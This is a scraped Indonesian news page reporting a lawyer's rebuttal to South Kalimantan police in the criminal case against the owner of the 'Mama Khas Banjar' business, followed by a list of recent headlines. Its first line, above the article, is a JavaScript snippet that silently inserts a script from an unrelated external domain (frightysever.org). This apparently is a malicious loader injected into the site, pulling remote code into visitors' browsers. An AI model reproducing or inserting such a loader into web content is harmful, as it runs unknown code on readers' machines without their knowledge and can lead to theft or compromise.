(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tidak Ada Surat Teguran, Izin Usaha “Mama Khas Banjar” Masih Ada


KANALKALIMANTAN.COM, BANJARBARU – Kuasa hukum terdakwa Firly Norachim (31) menanggapi bantahan Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel terkait kasus hukum yang menyeret pemilik “Mama Khas Banjar” ke meja hijau.

Kuasa hukum, Faisol Abdori hadir dalam sidang mendengarkan pandangan Jaksa Penuntut Umum (JPU) atas eksepsi yang diajukan pihaknya pada pekan lalu.
Menurut kuasa hukum tidak perlu Ditreskrimsus Polda Kalsel menanggapi apa yang menjadi opini publik dalam polemik ini.

Sebab kata dia, pra peradilan menjadi tempat yang pas telah diajukan pihaknya, namun tidak mereka lakukan.
“Mereka sebenarnya sudah kita sediakan tempatnya yaitu di pra peradilan, tetapi tidak mereka lakukan itu, tidak mereka manfaatkan itu,” ujar Faisol Abdori, Senin (17/3/2025).

Baca juga: Bantahan Ditreskrimsus Polda Kalsel Kriminalisasi Pemilik “Mama Khas Banjar”

“Jadi percuma saja kemudian Ditreskrimsus, bahkan Kapolda menyatakan mereka sedang melindungi masyarakat yang lebih banyak,” sambung dia.

Menurut Faisol Abdori, Kapolda dalam hal ini lupa bahwa ada MoU atau nota kesepahaman yang dibuat oleh Kapolri dengan Menteri Koperasi dan UMKM.

Begitu pun dengan bukti surat pembinaan yang didapatkan Ditreskrimsus Polda Kalsel dari Dinas Perindustrian dan Perdagangan (Disperindag) Kota Banjarbaru, surat tersebut tidak menunjukkan adanya tindakan pidana yang dilakukan oleh Firly.

Baca juga: Jerat Hukum “Mama Khas Banjar”, JPU Tetap Pada Dakwaan Pasal Perlindungan Konsumen

“Tindakan pidana itu adalah ketika tindakan-tindakan administratif yaitu teguran dan itu berkali-kali, sehingga itu dianggap bebal di situ, maka bisa saja dilimpahkan kepada kepolisian,” jelas dia.

Padahal sambungnya, upaya tertinggi dari adanya pembinaan baik teguran yang dilakukan pemerintah adalah dengan mencabut izin usaha milik Firly.

“Tapi sampai hari ini izin usaha Mama Khas Banjar itu masih tetap ada, artinya tidak ada teguran keras di situ, tidak ada hukuman yang kemudian perlu dinaikan kepada hukuman pidana,” ungkapnya.

Baca juga: 66 Pelaku Usaha MinyaKita Nakal Diciduk Kemendag, Ini Modusnya

Hukuman pidana, kata dia, sejatinya adalah hukuman terakhir ketika sudah tidak ada lagi hukuman yang lain. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Safari Ramadan ke Kertakhanyar, Bupati Ucapkan Terima Kasih kepada Warga Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Masjid Abirul Islam, Desa Pasar Kamis, Kecamatan KertakHanyar dipilih menjadi tempat silaturahmi… Read More

7 jam ago

Wabup Hero Setiawan Teringat Ayah dan Guru saat Safari Ramadan di Desa Hambuku

KANALKALIMANTAN.COM, AMUNTAI - Momen spesial bagi Wakil Bupati Hero Setiawan saat menghadiri Safari Ramadan di… Read More

11 jam ago

Grand Re-Opening Planet Surf: Konsep Baru Manjakan Pelanggan Q Mall Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Planet Surf Indonesia mengumumkan pembukaan kembali toko di Ibu Kota Provinsi Kalimantan… Read More

12 jam ago

Hadapi PSU 19 April KPU Kalsel Angkat Kembali PPK, PPS, dan KPPS

KANALKALIMANTAN.COM, BANJARBARU – Satu bulan jelang pelaksanan Pemungutan Suara Ulang (PSU) Piwali Banjarbaru pada 19… Read More

20 jam ago

Trump Bungkam VOA, 1.300 Karyawan Dirumahkan

KANALKALIMANTAN.COM, NEW YORK - Pemerintahan Presiden Donald Trump secara resmi mengurangi pendanaan untuk Voice of… Read More

20 jam ago

Kunjungi SPKLU di Banten, Menteri ESDM Apresiasi Kesiapan PLN Sambut Mudik 2025

KANALKALIMANTAN.COM, CILEGON - Menteri Energi dan Sumber Daya Mineral (ESDM) Bahlil Lahadalia melakukan inspeksi ke… Read More

22 jam ago